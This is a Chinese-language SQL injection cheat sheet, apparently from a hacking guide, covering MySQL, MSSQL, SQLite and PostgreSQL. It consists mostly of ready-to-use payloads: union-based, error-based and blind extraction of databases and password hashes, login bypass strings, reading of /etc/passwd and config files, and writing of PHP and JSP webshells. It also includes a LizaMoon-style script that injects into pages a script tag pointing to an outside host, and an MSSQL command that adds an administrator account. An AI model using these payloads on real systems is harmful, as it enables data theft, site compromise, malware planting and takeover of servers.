摘自:《SQL_Injection_Base_by_Silic》
php网站:/**/、/*asdfa*/可替换空格
猜表段:
id=0/*abc*/union/*aa*/select/*asdf*/1,2,3,4,5/*
id=-11/**/union/*aa*/select/*asdf*/1,2,3,4,5/*
id=123/*abc*/and/*a*/1=2/**/union/*aa*/select/*asdf*/1,2,3,4,5/*
表段名:假设表段名为admin,
id=123/*abc*/and/*a*/1=2/**/union/*aa*/select/*asdf*/1,2,3,4,5/*q*/from/*qwe*/admin/*
如果能显错,即可得到真的表段名
Mysql 5.x 都有的独立数据库 mysql 其中 user 表段存有用户部分信息 其中 user、password、host(如果是localhost,表示只能本机登陆,可另外找是否有phpmyadmin)、file_priv(规定用户是否可以读硬盘里面的文件)
mysql 5.x及以上可以爆表爆字段;4.x爆出来解不了(5.x有information_schema,而4.x没有)
注入语句格式:
union+select+1,2,3,xo,5+from+xxoo
(参数使用位置xo,如concat(user,0x3a,version)、concat(username,0x5c,password)、concat(user,0x5f,version)、concat(user,0x3c62723e,version)、concat(0x616C6C207461626C65733A,GROUP_CONCAT(DISTINCT+table_schema))。。。。。。)
常用参数:
user():格式为root1@localhost、root2@mysss(mysss为服务器名)、[email protected]
database():当前数据库名
version():当前使用数据库版本
@@datadir:数据路径
concat():联合数据
group_concat():通常格式有group_concat(DISTINCT+user,0x3a,password),concat只能一次一条,group_concat可以一次多条
concat_ws():concat的特殊形式,使用方法concat_ws(separator,str1,str2,...)
hex()和unhex():如union+select+hex(password)+from+mysql.user、hex(user())、hex(database())
load_file():使用前提你的用户名对应的file_priv设为Y,以文本方式读取文件,如:linux系统load_file('/etc/passwd') windows系统load_file('c:\\boot.ini')、union+select+1,load_file(0x633a5c5c626f6f742e696e69)其中0x633a5c5c626f6f742e696e69为c:\\boot.ini的hex编码以躲避php网站gpf设为on的情况
select xxoo into outfile '路径'
使用前提gpf设置为off,file_priv设为Y,已知网站路径,有写权限。用法:+union+select+webshell的hex编码+into+outfile+'网站物理路径\\a.php'
假如网站原始查询语句后有order by、desc等要用/* 或--结束后面的语句,如
id=12+union+select+1,2,3,4+from+admin--
id=12+union+select+1,2,3,4+from+admin/*
万能密码admin'or'1'='1、admin'or 1=1#用户名admin'/*kkk密码kkk*/'
php+mysql注入查表语句与查字段语句
格式:
+union select 1,2,3,table_name from (select * from information_schema.tables where table_schema=数据库名的hex order by table_schema limit 0,1)t limit 1
当前数据库名直接database(),即数据库名的hex用hex(database())替换就可以了,其他数据库名字从MySql.db查database()
limit 0,1可换为1,2、2,3、3,4 .....
如:
id=5+and+1=2+union+select+1,2,3,table_name,5,6+from+(select+*+from+information_schema.tables +where+table_schema=0x74657374+order+by+table_schema+limit+13,1)+limit+1--
其中0x74657374为数据库test的hex
(知道表名之后,用+union select 1,2,xo,4 from xxoo的格式可爆字段再爆值)
查字段格式
+union select 1,2,3,column_name from (select * from information_schema.columns where table_name=爆出来的表名的hex and table_schema=数据库名的hex order by 1 limit 2,1)t limit 1--
已测试,下面两种都可以一次列出所有数据库的名称
select GROUP_CONCAT(DISTINCT table_schema) from information_schema.columns
select GROUP_CONCAT(DISTINCT table_schema) from information_schema.tables
一次列出某个数据库里所有表段的名称
id=22+and+1=2+union+select+1,2,3,4,GROUP_CONCAT(DISTINCT+table_name)+from +information_schema.columns+where+table_schema=0x64625F6368696E615F717562616E5F636E
其中0x64625F6368696E615F717562616E5F636E是这个数据库的名称的hex,如果是当前库,直接hex(database())
一次列出某个表段里所有字段的名称
id=22+and+1=2+union+select+1,2,3,4,GROUP_CONCAT(DISTINCT+column_name)+from +information_schema.columns+where+table_name=0x61646D696E
其中0x61646D696E表名的hex
如果知道了绝对路径,又有load_file的权限,就可使用load_file
id=9+and+1=2+union+select+1,2,hex(load_file(0x433a5c77616d705c7777775c627574636865725c636f6e6669672e706870)),4,5
其中0x433a5c77616d705c7777775c627574636865725c636f6e6669672e706870是C:\wamp\www\butcher\config.php的hex,得到一串字符串之后用winhex转换格式就可知道配置文件中的用户名、密码、数据库名等
爆数据库密码两种途径:1、从数据库爆;2、从文件爆
(1)
id=9+1=2+union+select+1,concat(user,0x5f,password),3,4,5+from+mysql.user
(2)
load_file
用工具连接数据库执行sql语句获得webshell:
create table test(a text);
select a from mysql.test into outfile 'D:\\hdgl\\atesttest.php';
mysql输出文件时,会把回车换成\n,所以一般写入小马,就算写大马,也要在每行结尾加上/*,每行开头加上*/注释掉\n。
注入中的大爱Tomcat+jsp+Mysql
(Tomcat需要system或root权限,jsp+Mysql通常是root权限)
id=0'union+select+1,concat(database(),0x3a,user(),0x3a,version()),3,group_concat(user, 0x3a,password,0x3a,file_priv,0x3a,host,0x3c62723e)+from+mysql.user%23
如果显错中host为%表示可以外链Mysql数据库
连接后确认为root权限,可执行sql语句,来获取webshell:
select jsp一句话的hex into outfile '/路径/webshell.jsp';
读取/etc/passwd文件,获得敏感路径/var/www和/home/criterion后加/public_html和/htdocs都不是网站路径,之后,读Tomcat的敏感文件,从select load_file('/etc/profile');获得Tomcat的路径,然后在路径下的/conf/server.xml获得网站路径。
hex() 可解决注入编码不同而无法显示的问题(特别是遇到国外网站)
如:
id=1+and+1=2+union+select+1,2,3,4,hex(concat(database(),0x5f5f,user(),0x5f5f,version())),6/*
然后对显示的字符串unhex()
或者是用 convert()
id=-1+UNION+SELECT+1,2,3,4,5,CONVERT(group_concat(DISTINCT+user,0x3a,password,0x3a,host) +USING+latin1)+from+mysql.user/*
一个不常见的情况(问题发生原因:存在sql注入的页面中的sql语句,它所在的表段中,有一个字段是非数字型。一旦用union select 数字,数字,数字...来替换order by就会跳转):
www.d.com/n.php?hand=det&id=12'order+by+13%23 正常
注入点确认为字符型,字段数为13
www.d.com/n.php?hand=det&id=0'union+select+1,2,3,4,5,6,7,8,9,0,11,12,13%23 3号位置有异常,页面跳转至3 www.d.com/3
解决方法:用null替换3号位的数字
www.d.com/n.php?hand=det&id=0'union+select+1,2,null,4,5,6,7,8,concat(database(),0x3a,user(), 0x3a,version(),0x3a,@@datadir),0,11,12,13%23
遇到网站使用后置写法,
如:
访问
n.php?id=123'
显错为:
SELECT main.* FROM "numbers" main WHERE 123'=main.id Number 123' not found in the database
倒着注入如:
n.php?id=1+and+123
上面说过mysql 5.x一次爆出表段的格式,现在是土耳其黑客的格式:
select+GROUP_CONCAT(DISTINCT+table_name)+from+information_schema.columns+where+ table_schema=database()
MySQL的几个参数
@@version_comment 判断是源代码还是已编译文件
@@datadir 数据地址
@@tmpdir 临时文件地址
@@version mysql的版本
user()
database()
@@version_compile_os 判断系统类型
@@version_compile_machine 判断32位还是64位
@@warning_count
@@system_time_zone 时区
@@query_cache_size 内存实际消耗
如:
e.php?s=dir&n=-2+union+select+1,2,concat(@@version_comment,0x5c,@@datadir,0x5c,@@tmpdir,0x5c, @@version,0x5c,user(),database(),0x5c,@@version_compile_os,0x5c,@@version_compile_machine, 0x5c,@@warning_count,0x5c,@@system_time_zone,0x5c,@@query_cache_size),4,5,6
错误回显的两个类型:(1)MySQL错误回显,php提示MySQL语句哪里出错;(2)php错误回显,显示某个文件哪一行出错
在知道字段数,但无显示位回显的情况下,可考虑用MySQL错误回显注入法
公式的格式:
union select 1 from (select+count(*),concat(floor(rand(0)*2),(注入爆数据语句))a from information_schema.tables group by a)b
后面可添加/*、--、%23来注释掉后面部分
注入爆数据语句的基本格式:select xx from yy 注意:每次只能爆单条数据,不能update、不能select into 、不能insert、不能load_file()、不能group_concat()、有的concat()也不能
如果爆数据后面就要加limit a,b 其中limit a,b为从第a条开始(从0开始),b为一共几条(但这里只能是1),如:limit 0,1、limit 1,1、limit 2,1、limit 3,1 ......
如:
d.php?id=0+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+concat(0x3a, database(),0x3a,user(),0x3a,version(),0x3a,@@datadir)))a+from+information_schema.tables+ group+by+a)b
爆所有数据库:
d.php?id=0+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+table_schema+ from+information_schema.tables+where+table_schema=database()+limit+0,1))a+from+ information_schema.tables+group+by+a)b
或
d.php?id=0+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+table_schema+ from+information_schema.columns+where+table_schema=database()+limit+0,1))a+from+ information_schema.tables+group+by+a)b
将0,1换为1,1、2,1、3,1、4,1 ....
类似爆表段
d.php?id=-1+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+table_name+ from+information_schema.columns+where+table_schema=0x356570655f61646d696e+limit+0,1))a+from+ information_schema.tables+group+by+a)b
将0,1换为1,1、2,1、3,1、4,1 ....
0x356570655f61646d696e为数据库名的hex
类似爆字段的格式:
d.php?id=-1+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+column_name+ from+information_schema.columns+where+table_name=0x356570aassfffffssee+limit+0,1))a+from+ information_schema.tables+group+by+a)b
将0,1换为1,1、2,1、3,1、4,1 ....
0x356570aassfffffssee为表段名的hex
爆数据:
d.php?id=-1+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+concat(0x3a, adminname,0x3a,adminpass)+from+5epe+limit+0,1))a+from+information_schema.tables+group+by+a)b
5epe为表名
后台登陆框post错误回显注入
用弱口令试登后台,有数据库显错,
在用户名处写:
admin' union select 1 from (select count(*),concat(floor(rand(0)*2),(select user() from mysql.user limit 0,1))a from information_schema.tables group by a)b#
又遇到javascript限制长度,自己写个html提交
显错中有 Duplicate entry '[email protected]' for key
其中user()就是[email protected](去掉固定的1)
类似之前的爆数据库中的表段:
admin' union select 1 from (select count(*),concat(floor(rand(0)*2),(select table_name from information_schema.tables where table_schema=database() limit 0,1))a from information_schema.tables group by a)b#
MySQL盲注
c.php?s=admin
回显:用户已注册
c.php?s=admin'
回显:select userid from demob where user='admin''You have an error,表示没过滤直接带入MySQL执行
看版本:
c.php?s=admin'and+left(version(),1)=5%23
回显:用户已注册 即知道版本为5成立
c.php?s=admin'and+length(database())=6%23
c.php?s=admin'and+left(database(),1)='l'%23
c.php?s=admin'and+left(database(),2)='li'%23
直到6,就可知道数据库名
c.php?s=admin'and+length(pass)=32%23
c.php?s=admin'and+substr(left(pass),0,1)=char(89)%23
这里假设pass字段与userid字段同在demob表里面,所以不用再带select语句
MySQL数据库中将执行select userid from demob where user='admin'and length(pass)=32#
其他表:
c.php?s=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))<20%23
base64变形注入,要遇到给输入进行base64加密的网站,类似也应该会有其他加密方式,给输入进行相应加密注入即可。
如:
s.php?id=MTM=
还原加上'测试:
s.php?id=MTMn
php+mssql
爆字段:
table=p&id=12+and+1=1+union+all+select+null,null,null,null 加了4个null,回到正常页面了
找显示位:把1=1换成1=2,挨个将null换成数字,出错换回null
table=p&id=12+and+1=2+union+all+select+1,2,null,3
2为显示位
这里开始就与php+MySQL不同了,爆当前库名:
table=p&id=12+and+1=2+union+all+select+1,@@version,null,3
table=p&id=12+and+1=2+union+all+select+1,db_name(),null,3
通过数据库id获得数据库名:
table=p&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+ dbid=1--
table=p&id=12+and+1=2+union+all+select+1,name,null,3+from+master.dbo.sysdatabases+where+ dbid=2--
然后3,4,5 。。。
爆表名:
table=p&id=12+and+1=2+union+all+select+1,name,null,3+from+Northwi.dbo.sysobjects+where+ xtype=CHAR(85) and name not in (select top 1 name from Northwi.dbo.sysobjects where xtype =CHAR(85))--
Northwi.dbo.sysobjects 为 数据库名.dbo.sysobjects,如果不是当前数据库,那就成了跨库查询,可能设置了主机权限不让跨库查询;
top 1 为表的序号,可换为2,3,4,5。。。
爆字段:(这里的top 15 为前面top出的表 )
table=p&id=12+and+1=2+union+all+select+1,id,null,3+from+Northwi.dbo.sysobjects+where+ xtype=CHAR(85) and name not in (select top 15 name from Northwi.dbo.sysobjects where xtype =CHAR(85))--
获得总序号2073058421
table=p&id=12+and+1=2+union+all+select+1,name,null,3+from+Northwi.dbo.sysobjects+where+ ID=2073058421 and name not in (select top 1 name from Northwi.dbo.sysobjects where ID=2073058421)--
top 1 为字段的序号,可换为2,3,4,5。。。
最后内容:
table=p&id=12+and+1=2+union+all+select+1,title,null,3+from+Northwi..landed--
Northwi..landed 为 数据库名..表明,title为字段名
LizaMoon注入,批量挂马脚本(对象Mssql+aspx):
首先查询获得表段名,然后
s.aspx?id=100 update [YOURTABLE] set AltText=REPLACE(cast(AltText as varchar(8000)), cast(</tilte><script src="http://b.com/u.php"></script> as varchar(8000)),cast(char(32) as varchar(8)))--
或
s.aspx?id=100 update [YOURTABLE] set AltText=REPLACE(cast(AltText as varchar(8000)), cast("</tilte><script src="http://b.com/u.php"></script>" as varchar(8000)),cast(char(32) as varchar(8)))--
或
s.aspx?id=100 update [YOURTABLE] set AltText=REPLACE(cast(AltText as varchar(8000)), cast(CHAR(60)+CHAR(47)+CHAR(116)+CHAR(105)+CHAR(108)+CHAR(116)+CHAR(101)+CHAR(62)+CHAR(60)+ CHAR(115)+CHAR(99)+CHAR(114)+CHAR(105)+CHAR(112)+CHAR(116)+CHAR(32)+CHAR(115)+CHAR(114)+ CHAR(99)+CHAR(61)+CHAR(34)+CHAR(104)+CHAR(116)+CHAR(116)+ CHAR(112)+CHAR(58)+CHAR(47)+ CHAR(47)+CHAR(98)+CHAR(46)+CHAR(99)+CHAR(111)+CHAR(109)+CHAR(47)+CHAR(117)+CHAR(46)+ CHAR(112)+CHAR(104)+CHAR(112)+CHAR(34)+CHAR(62)+CHAR(60)+CHAR(47)+CHAR(115)+CHAR(99)+ CHAR(114)+CHAR(105)+CHAR(112)+CHAR(116)+CHAR(62)) as varchar(8000)),cast(char(32) as varchar(8)))--
MSSQL提权
执行sql命令
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell, 'run',null,'d:\\cmd.exe /c net localgroup administrators silic /add'
需要支持wscript,d:\\cmd.exe为上传的cmd地址,/c后执行cmd命令
sqlite+php
判断字段数:
pr.php?id=0'union+select+1,2,3,4,5,6 或 pr.php?id=0'union+select+1,2,3,4,5,6--
sqlite有个表sqlite_master,表中有字段:type,name,tbl_name,rootpage,sql,
pr.php?id=0'union+select+1,2,3,4,5,6,7,sql,8,9+from+sqlite_master--
回显为create table sqlite_sequence(name,seq)
pr.php?id=0'union+select+1,2,3,4,5,6,7,sql,8,9+from+sqlite_master+limit+2,1--
回显为create table [yelx]([id] INTERGER PRIMARY KEY NOT NULL,[title] TEXT NULL,[time] VARCHAR(30) NULL)
通过改limit 2,1 为 3,1 4,1 5,1 ...
获得其他数据库创建的历史sql语句
PostgreSQL注入语句
显示版本
version()
union select 1,2,3,4,5,version(),6
爆数据
union select 1,2,3,4,5,aa,6 from bb where cc=dd
列库
union select 1,2,3,4,5,datname from pg_database
列表段
union select 1,2,3,4,5,relname from pg_stat_tables limit 1 offset 3
其中limit 1 offset 0等同于limit 0,1
列字段
union select 1,2,3,4,5,column_name from information_schema.columns where table_name=0x3a7777hh limit 1 offset 5
读配置文件
union select 1,2,3,4,5,usename,passwd form pg_shadow
其中pg_shadow相当于MySQL中的mysql数据库,root用户为postgre
读文件
create table test(code text); copy test from '/etc/passwd'with delimiter E'\t';
或
select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'))
其中pg_file_read()相当于MySQL中的load_file()
在postgre 8.x到9.x说引号无效,应用单引号
写文件
insert into test value('<?php eval($_POST["cmd"]);?>'); copy test(code) to " /var/www/one.php";
找注入点
id=12 and 1=1 或 id=12 aNd(3=3) id=12 and 1=2 id=12 aNd(3=4)
猜字段
id=12 order by 12--
数据库长度
id=12 and (select length(current_database())) between 7 and 30 id=12 and (select length(current_database())) between 9 and 9
数据库名
id=12 and (select ascii(substr(current_database(),1,1))) between 7 and 130 id=12 and (select ascii(substr(current_database(),1,1))) between 117 and 117
表的数量
id=12 and (select count(*) from pg_stat_user_tables) between 7 and 30
第一个表的长度
id=12 and (select length(relname) from pg_stat_user_tables limit 1 OFFSET 0) between 0 and 30
第二个表的长度
id=12 and (select length(relname) from pg_stat_user_tables limit 1 OFFSET 1) between 0 and 30
第一个表名
id=12 and (select ascii(substr(relname,1,1)) from pg_stat_user_tables limit 1 OFFSET 0) between 0 and 320 id=12 and (select ascii(substr(relname,2,1)) from pg_stat_user_tables limit 1 OFFSET 0) between 0 and 320
爆字段
id=123+and+(select+ascii(substr(column_name,1,1))+from+information_schema.columns+where+ table_name=chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(115)||chr(104)+limit+1+ OFFSET+0)+between+0+and+256
其中chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(115)||chr(104)为表名的chr()
字段名
id=12+and+(select+ascii(substr(ssee,1,1))+from+iioo+limit+1+OFFSET+0)+between+0+210
其中ssee为字段名,iioo为表名
判断是否是php+PostgreSQL的搭配
加个'
回显中有pg_query
字段数与字段间编码问题
id=2 order by 10 或 id=0+union+select+null,null,null,null,null,null,null,null,null
之后一个个试找回显为时可以选数字或字母,如
id=0+union+select+1,'a',null,2,3,null 在有魔术引号的情况下,'a'会被转义,用下面的 id=0+union+select+1,version,null,2,3,null
注释符
PostgreSQL注释符不是#,不是/*,不是%23,而是--或%2b%2b
--或%2b%2b在MySQL、MSSQL、SQLite、PostgreSQL都通用
PostgreSQL的管理员账号为postgres(类似于MySQL的root,MSSQL的sa);
根数据库为postgres(类似于MySQL的mysql,MSSQL的master)
phpMyAdmin写webshell
在mysql数据库的console里导入马
select code from text into outfile 'e://appserv//www//xoops//modules//wordpress//app.php';
遇到outfile成功,但无法load_file的,建表
create table test (a text); insert into test (a) values (load_file('c:\\boot.ini')); select * from test;